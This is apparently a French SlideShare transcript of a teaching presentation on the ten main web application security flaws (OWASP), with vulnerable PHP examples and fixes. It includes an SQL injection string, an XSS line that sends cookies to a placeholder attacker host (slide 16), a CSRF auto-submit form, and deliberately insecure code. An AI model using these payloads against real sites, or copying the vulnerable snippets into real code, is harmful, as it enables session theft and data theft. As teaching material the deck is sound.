Les 10 principales menaces de sécurité des bases de donnéesImperva
 
Deck seo campus 2011 utiliser les logs serveurs
Deck seo campus 2011   utiliser les logs serveursDeck seo campus 2011   utiliser les logs serveurs
Deck seo campus 2011 utiliser les logs serveursPhilippe YONNET
 

En vedette (20)

IDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUIDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAU
 
Rapport sécurité
Rapport sécuritéRapport sécurité
Rapport sécurité
 
Piratage informatique
Piratage informatiquePiratage informatique
Piratage informatique
 
Sécurité des systèmes d'information
Sécurité des systèmes d'informationSécurité des systèmes d'information
Sécurité des systèmes d'information
 
Sécurité des Systèmes d'Information et de l'Information
Sécurité des Systèmes d'Information et de l'InformationSécurité des Systèmes d'Information et de l'Information
Sécurité des Systèmes d'Information et de l'Information
 
Securite informatique
Securite informatiqueSecurite informatique
Securite informatique
 
Presentation pfe ingenieur d etat securite reseau et systemes
Presentation pfe ingenieur d etat securite reseau et systemesPresentation pfe ingenieur d etat securite reseau et systemes
Presentation pfe ingenieur d etat securite reseau et systemes
 
Memoire addour drifa
Memoire addour drifaMemoire addour drifa
Memoire addour drifa
 
Exposé hackers
Exposé hackersExposé hackers
Exposé hackers
 
La sécurité informatique
La sécurité informatiqueLa sécurité informatique
La sécurité informatique
 
Intrusions et gestion d’incidents informatique
Intrusions et gestion d’incidents informatiqueIntrusions et gestion d’incidents informatique
Intrusions et gestion d’incidents informatique
 
sécurité informatique
sécurité informatiquesécurité informatique
sécurité informatique
 
Ids
IdsIds
Ids
 
Interfaces adaptatives. Agents adaptatifs.
Interfaces adaptatives. Agents adaptatifs.Interfaces adaptatives. Agents adaptatifs.
Interfaces adaptatives. Agents adaptatifs.
 
Apache Open SSL
Apache Open SSLApache Open SSL
Apache Open SSL
 
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logiciel
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logicielASFWS 2011 : Les exigences PCI-DSS en terme de développement logiciel
ASFWS 2011 : Les exigences PCI-DSS en terme de développement logiciel
 
Développement d’un prototype logiciel pour l’analyse webométrique
Développement d’un prototype logiciel pour l’analyse webométriqueDéveloppement d’un prototype logiciel pour l’analyse webométrique
Développement d’un prototype logiciel pour l’analyse webométrique
 
Cours Secu Web
Cours Secu WebCours Secu Web
Cours Secu Web
 
Les 10 principales menaces de sécurité des bases de données
Les 10 principales menaces de sécurité des bases de donnéesLes 10 principales menaces de sécurité des bases de données
Les 10 principales menaces de sécurité des bases de données
 
Deck seo campus 2011 utiliser les logs serveurs
Deck seo campus 2011   utiliser les logs serveursDeck seo campus 2011   utiliser les logs serveurs
Deck seo campus 2011 utiliser les logs serveurs
 

Similaire à Presentation des failles_de_securite

Développement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EEDéveloppement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EESabri Bouchlema
 
Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Antonio Fontes
 
Normes avancées du Web - GTI780 & MTI780 - ETS - A09
Normes avancées du Web  - GTI780 & MTI780 - ETS - A09Normes avancées du Web  - GTI780 & MTI780 - ETS - A09
Normes avancées du Web - GTI780 & MTI780 - ETS - A09Claude Coulombe
 
Architecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesArchitecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesENSET, Université Hassan II Casablanca
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes Nzalli
 
Owasp et les failles des applications web
Owasp et les failles des applications webOwasp et les failles des applications web
Owasp et les failles des applications webHenrique Mukanda
 
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-web
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-webM10958 formation-les-fondamentaux-de-la-programmation-d-applications-web
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-webCERTyou Formation
 
Partie II – ASM Application Security Manager
Partie II – ASM Application Security ManagerPartie II – ASM Application Security Manager
Partie II – ASM Application Security Managere-Xpert Solutions SA
 
WebApp #1 : introduction
WebApp #1 : introductionWebApp #1 : introduction
WebApp #1 : introductionJean Michel
 
Les firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFLes firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFSylvain Maret
 
Java script Introduction
Java script IntroductionJava script Introduction
Java script IntroductionMohamed MHAMDI
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Aymeric Lagier
 
Normes avancées du Web - GTI780 & MTI780 - ETS - A08
Normes avancées du Web  - GTI780 & MTI780 - ETS - A08Normes avancées du Web  - GTI780 & MTI780 - ETS - A08
Normes avancées du Web - GTI780 & MTI780 - ETS - A08Claude Coulombe
 
Resource Oriented Architecture
Resource Oriented ArchitectureResource Oriented Architecture
Resource Oriented ArchitectureDNG Consulting
 
Ajax GTI780 & MTI780 ETS A09
Ajax  GTI780 & MTI780  ETS  A09Ajax  GTI780 & MTI780  ETS  A09
Ajax GTI780 & MTI780 ETS A09Claude Coulombe
 

Similaire à Presentation des failles_de_securite (20)

Développement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EEDéveloppement d'applications pour la plateforme Java EE
Développement d'applications pour la plateforme Java EE
 
Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...
 
Chapitre 1.pdf
Chapitre 1.pdfChapitre 1.pdf
Chapitre 1.pdf
 
Normes avancées du Web - GTI780 & MTI780 - ETS - A09
Normes avancées du Web  - GTI780 & MTI780 - ETS - A09Normes avancées du Web  - GTI780 & MTI780 - ETS - A09
Normes avancées du Web - GTI780 & MTI780 - ETS - A09
 
Architecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesArchitecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependances
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012
 
La plateforme JEE
La plateforme JEELa plateforme JEE
La plateforme JEE
 
Owasp et les failles des applications web
Owasp et les failles des applications webOwasp et les failles des applications web
Owasp et les failles des applications web
 
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-web
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-webM10958 formation-les-fondamentaux-de-la-programmation-d-applications-web
M10958 formation-les-fondamentaux-de-la-programmation-d-applications-web
 
Java Entreprise Edition
Java Entreprise EditionJava Entreprise Edition
Java Entreprise Edition
 
Partie II – ASM Application Security Manager
Partie II – ASM Application Security ManagerPartie II – ASM Application Security Manager
Partie II – ASM Application Security Manager
 
WebApp #1 : introduction
WebApp #1 : introductionWebApp #1 : introduction
WebApp #1 : introduction
 
Les firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFLes firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAF
 
Cybersécurité des projets webs
Cybersécurité des projets websCybersécurité des projets webs
Cybersécurité des projets webs
 
Java script Introduction
Java script IntroductionJava script Introduction
Java script Introduction
 
INF355_Lecon1.pdf
INF355_Lecon1.pdfINF355_Lecon1.pdf
INF355_Lecon1.pdf
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)
 
Normes avancées du Web - GTI780 & MTI780 - ETS - A08
Normes avancées du Web  - GTI780 & MTI780 - ETS - A08Normes avancées du Web  - GTI780 & MTI780 - ETS - A08
Normes avancées du Web - GTI780 & MTI780 - ETS - A08
 
Resource Oriented Architecture
Resource Oriented ArchitectureResource Oriented Architecture
Resource Oriented Architecture
 
Ajax GTI780 & MTI780 ETS A09
Ajax  GTI780 & MTI780  ETS  A09Ajax  GTI780 & MTI780  ETS  A09
Ajax GTI780 & MTI780 ETS A09
 

Presentation des failles_de_securite

  • 1. Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND
  • 2. P. 2 1. Introduction 2. Principales failles de sécurité 3. Conclusion SOMMAIRE Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3. P. 3 1. Contexte 2. Enjeux 1. INTRODUCTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 4. 1.1 Contexte : Fonctionnement d’une application Web P. 4  Composants serveur Requête http E x t HTML + CSS Utilisateur Serveur http Serveur Serveur de base d’application de données Architecture 3-tiers Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 5. 1.1 Contexte : Fonctionnement d’une application Web P. 5  Composants client JavaScript Requête http E x t HTML + CSS XML Utilisateur Moteur Serveur http AJAX Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 6. 1.1 Contexte : Fonctionnement d’une application Web P. 6  Principe d’une application Web 1. Envoie de la saisie d’un formulaire 2. Envoie de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML 2) Demande de 1) traitement E x t 4) HTML + CSS 3) Résultat Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 7. 1.2 Enjeux P. 7  Analyse des besoins de sécurité  Intégrité  Confidentialité  Disponibilité  Risques de sécurité applicatifs Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 8. P. 8 1. Injection 6. Mauvaise configuration de sécurité 2. Cross-Site Scripting (XSS) 7. Stockage de données cryptographiques non sécurisé 3. Violation de gestion d’authentification et de session 8. Défaillance dans la restriction des accès à une url 4. Référence directe non sécurisée à un objet 9. Protection insuffisante de la couche transport 5. Falsification de requêtes intersite (CSRF) 10. Redirection et renvois non validés PRINCIPALES FAILLES DE SÉCURITÉ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 9. 2.1 Injection P. 9  Victime d’une attaque  Composant de l’architecture de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Formulaire de saisie de l’application  Injection de code malicieux dans le code de l’application  Objectif de l’attaque  Vol d’information  Prise de contrôle du système  Déni de service Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 10. 2.1 Injection P. 10  Principe d’une attaque 1. Envoi de code malveillant 2. Envoi de la requête correspondante pour traitement Les étapes suivantes sont fonction de l’attaque employée 3. … 4. … 2) Demande de 1) traitement 4) … 3) … Attaquant Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 11. 2.1 Injection P. 11  Comportement d’une application vulnérable à l’injection SQL 1. Envoi de la saisie d’un formulaire 2. Envoi de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML SELECT numerocarte FROM comptes WHERE nom='user4' AND motdepasse=PASSWORD('eng111') 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Utilisateur Serveur http +-------------+ | numerocarte | +-------------+ | 741852963 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | +-------------+
  • 12. 2.1 Injection P. 12  Vol d’information par injection SQL 1. Envoi de code malicieux « ' OR 1=1 -- ' » 2. Envoi de la requête correspondante à la base de données 3. Retour du résultat à la page de script 4. Vol d’information SELECT numerocarte FROM comptes WHERE nom='' OR 1=1 -- ' ' AND motdepasse=PASSWORD('eng111') 1) 2) Requête SQL 4) HTML + CSS 3) Résultat Attaquant Serveur http +-------------+ | numerocarte | +-------------+ Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement | 123456789 |
  • 13. 2.1 Injection P. 13  Source de vulnérabilité 1. Code de la requête est généré dynamiquement 2. Caractères interprétés (en SQL, en SHELL, …) acceptés //recuperation des parametres 2  $nom = $_GET['nom']; $motdepasse = $_GET['motdepasse']; //generation de la requete 1  $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND motdepasse = PASSWORD( '$motdepasse' )"; //execution de la requete $reponse = mysql_query($requeteSQL); $resultat = mysql_fetch_assoc($reponse); //affichage du resultat echo $resultat['numerocarte']; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 14. 2.1 Injection P. 14  Solutions 1. Utiliser des requêtes paramétrées 2. Ne pas autoriser les caractères spéciaux //recuperation des parametres 2  $nom = htmlspecialchars($_GET['nom'],ENT_QUOTES); $motdepasse = htmlspecialchars($_GET['motdepasse'] ,ENT_QUOTES); //preparation de la requete $stmt = $mysqli->prepare("SELECT numerocarte FROM comptes WHERE nom = ? AND motdepasse = PASSWORD( ? )"); 1  $stmt->bind_param("ss", $nom, $motdepasse); //execution de la requete $stmt->execute(); $stmt->bind_result($resultat); $stmt->fetch(); //affichage du resultat echo $resultat; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 15. 2.2 Cross-Site Scripting (XSS) P. 15  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Injection de code actif dans un document HTML 1. XSS réfléchie 2. XSS stockée  Objectif de l’attaque  Vol d’information  Prise de contrôle du système de l’utilisateur  Hameçonnage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 16. 2.2 Cross-Site Scripting (XSS) P. 16  Exemple de code actif  document.write('<img src=http://att.ack.org/steal.php?'+docum ent.cookie+' width=1>');  Ajoute une balise cachée lors de l’affichage de la page par le navigateur <img src=http://att.ack.org/steal.php?1...f width=1>  L’appel de la page stocke les informations en paramètre Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 17. 2.2 Cross-Site Scripting (XSS) P. 17  Par réflexion 3) Page de résultat avec le script Utilisateur Application Web 2) Exécution du script embarqué Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 18. 2.2 Cross-Site Scripting (XSS) P. 18  Par réflexion Source de vulnérabilité 1. Caractères HTML/JavaScript acceptés R&eacute;sultat de la recherche : 1)  <?php echo $_GET['recherche'];?> 2. Accès autorisé aux cookies pour JavaScript Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 19. 2.2 Cross-Site Scripting (XSS) P. 19  Par réflexion Solutions 1. Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES); echo $recherche; ?> 2. Rendre les cookies utilisables uniquement par l’application <?php session.cookie_httponlyne True pas accéder au cookie Le code JavaScript = peut ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 20. 2.2 Cross-Site Scripting (XSS) P. 20  Stocké 2) Demande de la page 3) Page de résultat avec le script Utilisateur Application Web 1) Enregistrement du code actif Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 21. 2.2 Cross-Site Scripting (XSS) P. 21  Stocké Source de vulnérabilité Caractères HTML/JavaScript acceptés <?php $message=$_GET['message']; $nom=$_GET['nom']; $numsujet=$_GET['numsujet']; //generation de la requete  $requeteSQL = "INSERT INTO messages VALUES (NULL, '$numsujet', '$nom', '$message')"; ?> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 22. 2.2 Cross-Site Scripting (XSS) P. 22  Stocké Solutions 1. Filtrer les entrées 2. Ne pas autoriser les caractères spéciaux R&eacute;sultat de la recherche : <?php $recherche = htmlspecialchars($_GET['recherche'],ENT_QUOTES); echo $recherche; ?> 3. Rendre les cookies utilisables uniquement par <?php l’application session.cookie_httponly = True ?> Le code JavaScript ne peut pas accéder au cookie Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 23. 2.3 Violation de gestion d’authentification et de Session P. 23  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Usurpation d’identité 1. Attaque contre le système d’authentification 2. Détournement de session  Objectif de l’attaque  Accès à l’application  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 24. 2.3 Violation de gestion d’authentification et de Session P. 24  Mécanisme de connexion  Rappel : http est un protocole déconnecté 1. Authentification 2) Demande 1) de vérification E x t 4) Envoi id 3) Résultat de session Utilisateur Serveur http 2. Travail avec l’identifiant de session 1) Envoi id de session 2) … E x t 4) Envoi id 3) … de session Utilisateur Serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 25. 2.3 Violation de gestion d’authentification et de Session P. 25  Attaque contre le système d’authentification Sources de vulnérabilité 1. Force brute 2. Comptes par défaut 3. Système de réinitialisation de mot de passe 4. Système de création de comptes par soi-même Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 26. 2.3 Violation de gestion d’authentification et de Session P. 26  Attaque contre le système d’authentification Solutions 1. Force brute 1. Mots de passe forts 2. Message d’erreur générique 3. Verrouillage de compte après 5 erreurs consécutives 4. Utilisation de captcha 2. Supprimer ou désactiver les comptes par défaut 3. Système de réinitialisation de mot de passe Envoi d’un nouveau mot de passe sur média préconfiguré 4. Système de création de comptes par soi-même Ne pas autoriser les identifiants proches Générer l’identifiant de connexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 27. 2.3 Violation de gestion d’authentification et de Session P. 27  Détournement de session Méthodes d’attaque 1. Fixation 2. Vol 3. Prédiction 4. Force brute 1) Envoi id de session 2) … E x t 4) Envoi id 3) … de session Utilisateur Serveur http 5) Envoi id de session Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 28. 2.3 Violation de gestion d’authentification et de Session P. 28  Détournement de session Solutions 1. Utiliser un moyen d’identification secondaire 2. Détruire les sessions 3. Ne pas soumettre les données par GET 4. Chiffrer les flux de transmission des identifiants 5. Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 29. 2.4 Référence directe non sécurisée à un objet P. 29  Victime d’une attaque  Application vulnérable ou utilisateur  Attaquant  Extérieur au système ou utilisateur  Moyens utilisés  Injection de données frauduleuses  Objectif de l’attaque  Attaque par injection  Attaque XSS  Accès et/ou modification de données sans autorisation Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 30. 2.4 Référence directe non sécurisée à un objet P. 30  Source de vulnérabilité  Valeurs de paramètre non vérifiées //recuperation des parametres $nom = $_GET['proprietaire']; //generation de la requete $requeteSQL = "SELECT numerocarte FROM comptes WHERE nom = '$nom'"; Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 31. 2.4 Référence directe non sécurisée à un objet P. 31  Solutions 1. Vérifier toutes les données avant utilisation (get, post, cookie) 1. Type attendu 2. Nombre d’arguments attendus 3. Valeurs limitées 4. Taille de la donnée 5. Valeur nulle autorisée? 6. Valeur suit une expression régulière 2. Protéger les sorties vers le client • Coder les caractères spéciaux Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 32. 2.5 Falsification de requêtes inter-site (CSRF) P. 32  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Requête http d’attaque envoyée par un utilisateur 1. CSRF réfléchie 2. CSRF stockée  Objectif de l’attaque  Vol d’information  Corruption de données Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 33. 2.5 Falsification de requêtes inter-site (CSRF) P. 33  Exemple de requête d’attaque  La requête simule une action de l’utilisateur  L’appel de la page exécute une fonctionnalité de l’application <form method="GET" id="reflected_CSRF" name="reflected_CSRF" action="add_message.php"> <input type=hidden name="numsujet" value="6"> <input type=hidden name="nom" value="CSRF"> <input type=hidden name="message" value="action frauduleuse"> </form> <script>document.reflected_CSRF.submit()</script> Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 34. 2.5 Falsification de requêtes inter-site (CSRF) P. 34  Par réflexion 1) Connexion Utilisateur Application Web 3) Exécution du code Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 35. 2.5 Falsification de requêtes inter-site (CSRF) P. 35  Stocké 2) Affichage de la page 3) Réponse http 4) Exécution du code Utilisateur Application Web 1) Enregistrement du script Attaquant Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 36. 2.5 Falsification de requêtes inter-site (CSRF) P. 36  Source de vulnérabilité  Utilisation de la méthode GET  Solutions 1. Utilisation de la méthode POST uniquement 2. Redemander le mot de passe lors d’un changement de niveau de privilège Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 37. 2.6 Mauvaise configuration de sécurité P. 37  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Faille de sécurité connues des composants  Objectif de l’attaque  Déni de service  Prise de contrôle du système Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 38. 2.6 Mauvaise configuration de sécurité P. 38  Source de vulnérabilité  Vulnérabilités laissées ouvertes par les composants de l’architecture  Solutions 1. Désactiver les options inutiles 2. Mettre à jour les composants 3. Installer les composants en version anglaise 4. Supprimer ou désactiver les comptes par défaut Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 39. 2.7 Stockage de données cryptographiques non sécurisé P. 39  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de stockage  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 40. 2.7 Stockage de données cryptographiques non sécurisé P. 40  Source de vulnérabilité  Information confidentielle visible en clair  Solutions 1. Chiffrer tous les supports de stockage d’information Bases de données Fichiers Sauvegardes 2. Utiliser des algorithmes de chiffrement forts Exemple : AES 256, RSA 3. Utiliser des algorithmes de hachage forts Exemple : SHA 256 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 41. 2.8 Défaillance dans la restriction des accès à une url P. 41  Victime d’une attaque  Application vulnérable  Attaquant  Utilisateur de l’application  Moyens utilisés  Saisie d’adresse non autorisée  Objectif de l’attaque  Accès à des fonctionnalités non autorisées  Accès à des fichiers du serveur http Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 42. 2.8 Défaillance dans la restriction des accès à une url P. 42  Source de vulnérabilité  Manque de contrôle lors de l’accès aux fonctionnalités  Fonctionnalités indexées par les moteurs de recherche  Solutions 1. Tous les répertoires doivent contenir un fichier index.html 2. Le serveur http ne doit pas afficher le contenu d’un répertoire 3. Les fonctionnalités doivent vérifier les droits d’accès de l’utilisateur avant affichage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 43. 2.9 Protection insuffisante de la couche transport P. 43  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de transmission  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 44. 2.9 Protection insuffisante de la couche transport P. 44  Les protocoles de communication sur Internet Pile générique pour Pile générique pour Internet Internet Application Application Transport Transport Internet Internet Réseau Réseau Transfert de données à travers la pile de protocoles d’Internet Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 45. 2.9 Protection insuffisante de la couche transport P. 45  Source de vulnérabilité  Accessibilité des moyens de transmission  Solution  Chiffrer toutes les pages de l’application Si transmission de données confidentielles (dont informations de connexion) Si transmission des informations de session Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 46. 2.10 Redirection et renvois non validés P. 46  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Page de redirection  Objectif de l’attaque  Hameçonnage  Attaque CSRF par réflexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 47. 2.10 Redirection et renvois non validés P. 47  Source de vulnérabilité  Adresse de destination non vérifiée  Solutions  Renvoi uniquement vers des pages locales  Redirection assurée par le serveur http en cas de déplacement d’une page ou du site Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 48. P. 48 1. Web 2.0 : Constats 2. Web 2.0 : Perspectives 3. CONCLUSION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 49. 3.1 Web 2.0 : Constats P. 49  Internet est omniprésent  Guerre des forfaits mobiles pour Internet  L’accès à Internet est perçu comme un des droits de l’Homme Vinton G. CERF dans le New York Times paru le 5 janvier 2012 Extrait de : “Internet Access Is Not a Human Right” “Even the United Nations report, which was widely hailed as declaring Internet access a human right, acknowledged that the Internet was valuable as a means to an end, not as an end in itself”. Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 50. 3.1 Web 2.0 : Constats P. 50  Les risques ont peu évolué depuis 2004  7 problèmes de 2010 déjà présents en 2004 Risques 2004 2007 2010 Injection de commandes A6 A2 A1 Failles Cross Site Scripting (XSS) A4 A1 A2 Violation de Gestion d’Authentification et de Session A3 A7 A3 Référence directe à un objet non sécurisée A1 A4 A4 Cross Site Request Forgery (CSRF) A5 A5 Gestion de configuration non sécurisée A10 A6 Stockage non sécurisé A8 A8 A7 Manque de restriction d’accès URL A2 A10 A8 Violation de Contrôle d’Accès Communications non sécurisées A9 A9 Redirection et renvoi non validés A10 Débordement de tampon A5 Mauvaise gestion des erreurs A7 A6 Déni de Service A9 Exécution de fichier malicieux A3 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 51. 3.1 Web 2.0 : Constats P. 51  Ajax et la sécurité  Ajout de nouvelles failles  Mode asynchrone rend les attaques moins visibles  Sécuriser une application Web 2.0 1. Sécuriser le Web 1.0 2. Sécuriser les appels Ajax Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 52. 3.2 Web 2.0 : Perspectives P. 52  Faut-il abandonner Ajax ?  HTML 5 sera-t-il la solution pour faciliter et standardiser le développement d’applications Web 2.0 ?  Les bonnes pratiques de sécurité vont devoir évoluer pour prendre en compte les applications pour smartphone Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 53. P. 53 Contact : Guillaume HARRY MERCI DE VOTRE ATTENTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement